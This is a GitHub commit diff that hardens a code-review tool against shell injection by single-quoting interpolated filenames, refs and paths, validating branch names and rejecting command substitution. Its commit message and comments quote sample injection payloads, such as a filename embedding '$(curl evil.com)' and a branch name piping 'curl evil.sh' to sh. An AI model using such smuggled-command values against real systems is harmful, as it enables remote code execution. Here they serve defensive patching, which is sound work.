Skip to content

Commit ae06c68

Browse files
malinosquiclaude
andcommitted
fix(code-review): address TPs from Kody review — injection, regex, leaks
- shell-quote: extract shSingleQuote into its own module and share across e2bSandbox, sandboxSyntaxValidator, call-graph.helper, graph-context, kodus-graph-cli so every shell interpolation of PR-author-influenced strings (filenames, refs, paths) is single-quote escaped. - sandboxSyntaxValidator: quote filePath, workDir, resultPath and the mkdir/rm target so a PR filename like `foo$(curl evil.com).ts` can't break out of the parse/cleanup commands. - call-graph.helper: quote file.filename, func.file and the regex pattern used by grep/rg so diff-derived strings stay literal. - graph-context: reject base branches with chars outside the git-compatible set, then still shell-escape `origin/<ref>` before interpolating into `git show`. - kodus-graph-cli: escape outPath, outDir, repoDir, graphPath, diffPath and each excludePattern in parseAll/parseFiles/context; collapse quoteFiles to delegate to shSingleQuote. - agent-tools.factory (findFile): stop stripping wildcards in the `find` fallback — `-iname` understands globs natively, so `*.ts` must stay intact instead of degrading to `*.ts*` (which also matched `foo.tsx`). - kody-rules-agent (matchesPathPattern): swap the handrolled regex converter for the shared minimatch-backed isFileMatchingGlob; fixes `**/*.ts` silently missing root-level files. - format-suggestion-content: move clearTimeout to `finally` so the 90s abort timer is always released when generateText rejects. - localSandbox: validate `$(` and backticks on the raw command before stripping quoted sections so `cat "file-$(reboot)"` can't slip past the "outside quotes" scan. Mirror the check in the spec and add regression tests for double-quoted, single-quoted and backtick hides. - astGraph.repository: wrap deleteAll and deleteByFiles in dataSource.transaction so the edges/nodes DELETEs can't half-commit and leave orphaned nodes (matches the fullRebuild pattern). - clone-params-resolver + collect-cross-file-context + gather-documentation-context: replace the two-segment-only regex with a parser that accepts any path depth (GitLab subgroups, Bitbucket workspaces), trims trailing slashes and `.git`, and returns the last segment as `name`. - tool-expectation-assertion: flag stepOverflow when expectedMaxSteps is a number but `parsed.trace.steps` isn't, so eval runs can't inflate scores on missing traces. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
1 parent ddf963e commit ae06c68

16 files changed

Lines changed: 194 additions & 119 deletions

evals/investigation/tool-expectation-assertion.js

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -37,7 +37,8 @@ module.exports = (output, context) => {
3737
const forbidden = expectedForbiddenTools.filter((tool) => usedTools.has(tool));
3838
const stepOverflow =
3939
typeof expectedMaxSteps === 'number' &&
40-
parsed.trace?.steps > expectedMaxSteps;
40+
(typeof parsed.trace?.steps !== 'number' ||
41+
parsed.trace.steps > expectedMaxSteps);
4142

4243
const score =
4344
missing.length === 0 && forbidden.length === 0 && !stepOverflow ? 1 : 0;

libs/code-review/infrastructure/adapters/repositories/astGraph.repository.ts

Lines changed: 20 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -65,27 +65,31 @@ export class AstGraphRepository {
6565
// -----------------------------------------------------------------------
6666

6767
async deleteAll(repoId: string): Promise<void> {
68-
await this.dataSource.query(
69-
`DELETE FROM ast_edges WHERE repo_id = $1`,
70-
[repoId],
71-
);
72-
await this.dataSource.query(
73-
`DELETE FROM ast_nodes WHERE repo_id = $1`,
74-
[repoId],
75-
);
68+
await this.dataSource.transaction(async (manager) => {
69+
await manager.query(
70+
`DELETE FROM ast_edges WHERE repo_id = $1`,
71+
[repoId],
72+
);
73+
await manager.query(
74+
`DELETE FROM ast_nodes WHERE repo_id = $1`,
75+
[repoId],
76+
);
77+
});
7678
}
7779

7880
async deleteByFiles(repoId: string, filePaths: string[]): Promise<void> {
7981
if (filePaths.length === 0) return;
8082

81-
await this.dataSource.query(
82-
`DELETE FROM ast_edges WHERE repo_id = $1 AND file_path = ANY($2::text[])`,
83-
[repoId, filePaths],
84-
);
85-
await this.dataSource.query(
86-
`DELETE FROM ast_nodes WHERE repo_id = $1 AND file_path = ANY($2::text[])`,
87-
[repoId, filePaths],
88-
);
83+
await this.dataSource.transaction(async (manager) => {
84+
await manager.query(
85+
`DELETE FROM ast_edges WHERE repo_id = $1 AND file_path = ANY($2::text[])`,
86+
[repoId, filePaths],
87+
);
88+
await manager.query(
89+
`DELETE FROM ast_nodes WHERE repo_id = $1 AND file_path = ANY($2::text[])`,
90+
[repoId, filePaths],
91+
);
92+
});
8993
}
9094

9195
// -----------------------------------------------------------------------

libs/code-review/infrastructure/adapters/services/e2bSandbox.service.ts

Lines changed: 1 addition & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,7 @@ import {
1111
SandboxRunResult,
1212
} from '@libs/code-review/domain/contracts/sandbox.provider';
1313
import { RemoteCommands } from './collectCrossFileContexts.service';
14+
import { shSingleQuote } from './shell-quote';
1415

1516
const SANDBOX_TIMEOUT_MS = 20 * 60 * 1000; // 20 minutes — cross-file context + file analysis
1617
const REPO_DIR = '/home/user/repo';
@@ -24,16 +25,6 @@ const TIMEOUTS = {
2425
COMMAND_SHORT_MS: 10_000,
2526
};
2627

27-
/**
28-
* Wrap a value in single quotes for safe inclusion in a POSIX shell command.
29-
* Git ref names (and fork-controlled URLs) can contain characters the shell
30-
* treats as control tokens — `;`, `&&`, `|`, `$()` — so a branch named
31-
* `main;curl evil.sh|sh` would otherwise execute arbitrary commands inside
32-
* the sandbox. Escape any embedded apostrophes using the `'\''` idiom.
33-
*/
34-
const shSingleQuote = (value: string): string =>
35-
`'${value.replace(/'/g, "'\\''")}'`;
36-
3728
@Injectable()
3829
export class E2BSandboxService implements ISandboxProvider {
3930
private readonly logger = createLogger(E2BSandboxService.name);

libs/code-review/infrastructure/adapters/services/graph/graph-context.service.ts

Lines changed: 19 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@ import { SandboxInstance } from '@libs/code-review/domain/contracts/sandbox.prov
55
import { AstGraphRepository } from '../../repositories/astGraph.repository';
66
import { RepositoryRepository } from '../../repositories/repository.repository';
77
import { KodusGraphCli, KODUS_GRAPH_TIMEOUTS } from './kodus-graph-cli';
8+
import { shSingleQuote } from '../shell-quote';
89

910
const GRAPH_DIR = '.kodus-graph';
1011
const GRAPH_PATH = `${GRAPH_DIR}/graph.json`;
@@ -268,11 +269,28 @@ export class GraphContextService {
268269
): Promise<string | undefined> {
269270
const BASE_FILES_DIR = `${GRAPH_DIR}/base-files`;
270271

272+
// Reject branch names that contain characters git wouldn't accept or
273+
// that would break our shell interpolation. Keeping this as a hard
274+
// rejection (not an escape) because any legitimate base branch we
275+
// review fits easily in [A-Za-z0-9._/@+-].
276+
if (!/^[A-Za-z0-9._\-/@+]+$/.test(baseBranch)) {
277+
this.logger.warn({
278+
message: `[KODUS-GRAPH] buildBaseGraphFromGit: baseBranch contains unsupported characters, skipping`,
279+
context: GraphContextService.name,
280+
metadata: { baseBranch },
281+
});
282+
return undefined;
283+
}
284+
271285
try {
272286
const escapedFiles = filePaths.map(
273287
(f) => `'${f.replace(/'/g, "'\\''")}'`,
274288
);
275289
const fileList = escapedFiles.join(' ');
290+
// Shell-escape the ref prefix so even if validation above is ever
291+
// relaxed, the `git show` arg can't be abused. `$f` intentionally
292+
// stays unquoted so the shell loop variable expands.
293+
const safeBaseRef = shSingleQuote(`origin/${baseBranch}`);
276294

277295
const extractResult = await sandbox.run(
278296
[
@@ -281,7 +299,7 @@ export class GraphContextService {
281299
`for f in ${fileList}; do ` +
282300
`d="${BASE_FILES_DIR}/$(dirname "$f")" && ` +
283301
`mkdir -p "$d" 2>/dev/null; ` +
284-
`git show "origin/${baseBranch}:$f" > "${BASE_FILES_DIR}/$f" 2>/dev/null || rm -f "${BASE_FILES_DIR}/$f"; ` +
302+
`git show ${safeBaseRef}":$f" > "${BASE_FILES_DIR}/$f" 2>/dev/null || rm -f "${BASE_FILES_DIR}/$f"; ` +
285303
`done`,
286304
`find ${BASE_FILES_DIR} -type f -size +0c | sed 's|^${BASE_FILES_DIR}/||' | sort`,
287305
].join(' && '),

libs/code-review/infrastructure/adapters/services/graph/kodus-graph-cli.ts

Lines changed: 11 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
import { createLogger } from '@kodus/flow';
22
import { Injectable } from '@nestjs/common';
33
import { SandboxInstance } from '@libs/code-review/domain/contracts/sandbox.provider';
4+
import { shSingleQuote } from '../shell-quote';
45

56
export const KODUS_GRAPH_VERSION = 'latest';
67

@@ -84,17 +85,17 @@ export class KodusGraphCli {
8485
} = options;
8586
const outDir = dirname(outPath);
8687
const excludeFlags = excludePatterns
87-
.map((p) => `--exclude "${p}"`)
88+
.map((p) => `--exclude ${shSingleQuote(p)}`)
8889
.join(' ');
8990

9091
const cmd =
91-
`kodus-graph parse --all --repo-dir . --out ${outPath} ${excludeFlags}`.trim();
92+
`kodus-graph parse --all --repo-dir . --out ${shSingleQuote(outPath)} ${excludeFlags}`.trim();
9293

9394
const result = await sandbox.run(
9495
[
9596
BUN_PATH_PREFIX,
9697
`cd ${sandbox.repoDir}`,
97-
`mkdir -p ${outDir}`,
98+
`mkdir -p ${shSingleQuote(outDir)}`,
9899
cmd,
99100
].join(' && '),
100101
{ timeoutMs },
@@ -130,8 +131,8 @@ export class KodusGraphCli {
130131
[
131132
BUN_PATH_PREFIX,
132133
`cd ${sandbox.repoDir}`,
133-
`mkdir -p ${outDir}`,
134-
`kodus-graph parse --files ${filesArg} --repo-dir ${repoDir} --out ${outPath}`,
134+
`mkdir -p ${shSingleQuote(outDir)}`,
135+
`kodus-graph parse --files ${filesArg} --repo-dir ${shSingleQuote(repoDir)} --out ${shSingleQuote(outPath)}`,
135136
].join(' && '),
136137
{ timeoutMs },
137138
);
@@ -161,15 +162,15 @@ export class KodusGraphCli {
161162
} = options;
162163
const outDir = dirname(outPath);
163164
const filesArg = quoteFiles(files);
164-
const graphArg = graphPath ? ` --graph ${graphPath}` : '';
165-
const diffArg = diffPath ? ` --diff ${diffPath}` : '';
166-
const cmd = `kodus-graph context --files ${filesArg}${graphArg}${diffArg} --repo-dir . --format prompt --out ${outPath}`;
165+
const graphArg = graphPath ? ` --graph ${shSingleQuote(graphPath)}` : '';
166+
const diffArg = diffPath ? ` --diff ${shSingleQuote(diffPath)}` : '';
167+
const cmd = `kodus-graph context --files ${filesArg}${graphArg}${diffArg} --repo-dir . --format prompt --out ${shSingleQuote(outPath)}`;
167168

168169
const result = await sandbox.run(
169170
[
170171
BUN_PATH_PREFIX,
171172
`cd ${sandbox.repoDir}`,
172-
`mkdir -p ${outDir}`,
173+
`mkdir -p ${shSingleQuote(outDir)}`,
173174
cmd,
174175
].join(' && '),
175176
{ timeoutMs },
@@ -184,7 +185,7 @@ export class KodusGraphCli {
184185
}
185186

186187
function quoteFiles(files: string[]): string {
187-
return files.map((f) => `'${f.replace(/'/g, "'\\''")}'`).join(' ');
188+
return files.map(shSingleQuote).join(' ');
188189
}
189190

190191
function dirname(path: string): string {

libs/code-review/infrastructure/adapters/services/localSandbox.service.ts

Lines changed: 14 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -292,10 +292,23 @@ export class LocalSandboxService implements ISandboxProvider {
292292
// don't provide, so we bail out instead of running it through
293293
// execFile where the operator would be passed as a literal arg
294294
// and confuse the underlying tool.
295+
// Command substitution (`...` / $(...)) is never legitimate
296+
// input for our tool commands. Check on the raw command first,
297+
// before any quote stripping, so a payload hidden inside a
298+
// quoted string (e.g. `cat "file-$(reboot)"`) can't slip past
299+
// the later "outside quotes" scan and — if this layer ever
300+
// gets wired to a real shell — execute.
301+
if (/`|\$\(/.test(command)) {
302+
return {
303+
stdout: `Command substitution is not allowed in local sandbox: ${command}`,
304+
exitCode: 1,
305+
};
306+
}
307+
295308
const outsideQuotes = command
296309
.replace(/"[^"]*"|'[^']*'/g, '')
297310
.replace(/\b2>&1\b/g, '');
298-
if (/(?:>>|<<|>|<|;|&&|\|\||`|\$\()/.test(outsideQuotes)) {
311+
if (/(?:>>|<<|>|<|;|&&|\|\|)/.test(outsideQuotes)) {
299312
return {
300313
stdout: `Unsupported shell syntax in local sandbox: ${command}`,
301314
exitCode: 1,

libs/code-review/infrastructure/adapters/services/sandboxSyntaxValidator.service.ts

Lines changed: 6 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@ import { createLogger } from '@kodus/flow';
44
import { Sandbox } from 'e2b';
55
import pLimit from 'p-limit';
66
import { ValidationCandidate } from '@libs/code-review/domain/types/astValidate.type';
7+
import { shSingleQuote } from './shell-quote';
78

89
const PARSE_TIMEOUT_MS = 30_000;
910
const CONCURRENCY_LIMIT = 10;
@@ -146,11 +147,13 @@ export class SandboxSyntaxValidator {
146147
const code = Buffer.from(candidate.encodedData, 'base64').toString('utf-8');
147148

148149
const dir = fullPath.substring(0, fullPath.lastIndexOf('/'));
149-
await sandbox.commands.run(`mkdir -p "${dir}"`, { timeoutMs: 5_000 });
150+
await sandbox.commands.run(`mkdir -p ${shSingleQuote(dir)}`, {
151+
timeoutMs: 5_000,
152+
});
150153
await sandbox.files.write(fullPath, code);
151154

152155
const result = await sandbox.commands.run(
153-
`export PATH="$HOME/.bun/bin:$PATH" && kodus-graph parse --files "${filePath}" --repo-dir "${workDir}" --out "${resultPath}"`,
156+
`export PATH="$HOME/.bun/bin:$PATH" && kodus-graph parse --files ${shSingleQuote(filePath)} --repo-dir ${shSingleQuote(workDir)} --out ${shSingleQuote(resultPath)}`,
154157
{ timeoutMs: PARSE_TIMEOUT_MS },
155158
);
156159

@@ -188,7 +191,7 @@ export class SandboxSyntaxValidator {
188191
return null;
189192
} finally {
190193
try {
191-
await sandbox.commands.run(`rm -rf "${workDir}"`, { timeoutMs: 5_000 });
194+
await sandbox.commands.run(`rm -rf ${shSingleQuote(workDir)}`, { timeoutMs: 5_000 });
192195
} catch { /* ignore cleanup errors */ }
193196
}
194197
}
Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
/**
2+
* Wrap a value in single quotes for safe inclusion in a POSIX shell command.
3+
*
4+
* Anything a PR author can influence (filenames, branch names, ref names,
5+
* function names extracted from the diff) may contain shell-control tokens —
6+
* `;`, `&&`, `|`, `$()`, backticks. Double-quoted interpolation still expands
7+
* most of those, so string-building commands must go through this helper.
8+
*
9+
* Escapes embedded apostrophes using the classic `'\''` idiom (close quote,
10+
* escaped single quote, reopen quote).
11+
*/
12+
export const shSingleQuote = (value: string): string =>
13+
`'${value.replace(/'/g, "'\\''")}'`;

libs/code-review/infrastructure/agents/call-graph.helper.ts

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
import { createLogger } from '@kodus/flow';
22
import { RemoteCommands } from '../adapters/services/collectCrossFileContexts.service';
3+
import { shSingleQuote } from '../adapters/services/shell-quote';
34
import * as fs from 'fs';
45
import * as path from 'path';
56

@@ -450,7 +451,7 @@ async function generateCallGraphGrep(
450451

451452
try {
452453
const { stdout } = await remoteCommands.exec(
453-
`grep -nE "(^|[[:space:]])(def |func |fn |function |class |public |private |protected |async |export (function|class|const |default function))" "${file.filename}" 2>/dev/null | head -${MAX_FUNCTIONS_PER_FILE}`,
454+
`grep -nE "(^|[[:space:]])(def |func |fn |function |class |public |private |protected |async |export (function|class|const |default function))" ${shSingleQuote(file.filename)} 2>/dev/null | head -${MAX_FUNCTIONS_PER_FILE}`,
454455
);
455456
if (!stdout?.trim()) continue;
456457

@@ -510,7 +511,7 @@ async function generateCallGraphGrep(
510511
const callers: string[] = [];
511512
try {
512513
const { stdout } = await remoteCommands.exec(
513-
`rg -n "${func.name}\\(" ${globExt} --glob '!*test*' --glob '!*Test*' --glob '!*spec*' --glob '!*Spec*' --glob '!*_test*' --glob '!*__tests__*' --glob '!*mock*' --glob '!*Mock*' --glob '!*.min.*' --glob '!vendor/*' . 2>/dev/null | grep -v "${func.file}" | grep -v "^Binary" | head -8`,
514+
`rg -n ${shSingleQuote(`${func.name}\\(`)} ${globExt} --glob '!*test*' --glob '!*Test*' --glob '!*spec*' --glob '!*Spec*' --glob '!*_test*' --glob '!*__tests__*' --glob '!*mock*' --glob '!*Mock*' --glob '!*.min.*' --glob '!vendor/*' . 2>/dev/null | grep -v ${shSingleQuote(func.file)} | grep -v "^Binary" | head -8`,
514515
);
515516

516517
if (stdout?.trim()) {

libs/code-review/infrastructure/agents/kody-rules-agent.provider.ts

Lines changed: 8 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@ import { PromptRunnerService } from '@kodus/kodus-common/llm';
33
import { PermissionValidationService } from '@libs/ee/shared/services/permissionValidation.service';
44
import { ObservabilityService } from '@libs/core/log/observability.service';
55
import { DocumentationSearchExaService } from '@libs/code-review/infrastructure/adapters/services/documentation-search-exa.service';
6+
import { isFileMatchingGlob } from '@libs/common/utils/glob-utils';
67
import {
78
BaseCodeReviewAgentProvider,
89
ReviewAgentIdentity,
@@ -297,30 +298,16 @@ If no violations found, respond with \`{"reasoning": "Checked all rules, no viol
297298
}
298299

299300
/**
300-
* Simple path pattern matching.
301-
* Supports: exact match, glob-like patterns (* and **), directory prefix.
301+
* Path pattern matching. Supports exact match, directory prefix, and
302+
* globs (`*`, `**`) via the shared minimatch-backed util.
303+
*
304+
* The hand-rolled regex we had before compiled `**\/*.ts` to
305+
* `.*\/[^/]*\.ts`, which required a `/` somewhere and silently missed
306+
* root-level files like `foo.ts` or `src/foo.ts`.
302307
*/
303308
private matchesPathPattern(filePath: string, pattern: string): boolean {
304-
// Exact match
305309
if (filePath === pattern) return true;
306-
307-
// Directory prefix (e.g., "src/controllers/")
308310
if (pattern.endsWith('/') && filePath.startsWith(pattern)) return true;
309-
310-
// Simple glob: convert * to regex.
311-
// Escape literal dots BEFORE expanding stars — otherwise the `.*` from `**`
312-
// gets escaped into `\.*` (zero-or-more literal dots) and stops matching.
313-
const regexStr = pattern
314-
.replace(/\./g, '\\.')
315-
.replace(/\*\*/g, '<<<DOUBLESTAR>>>')
316-
.replace(/\*/g, '[^/]*')
317-
.replace(/<<<DOUBLESTAR>>>/g, '.*');
318-
319-
try {
320-
return new RegExp(`^${regexStr}$`).test(filePath);
321-
} catch {
322-
// Invalid pattern — treat as prefix match
323-
return filePath.includes(pattern);
324-
}
311+
return isFileMatchingGlob(filePath, [pattern]);
325312
}
326313
}

0 commit comments

Comments
 (0)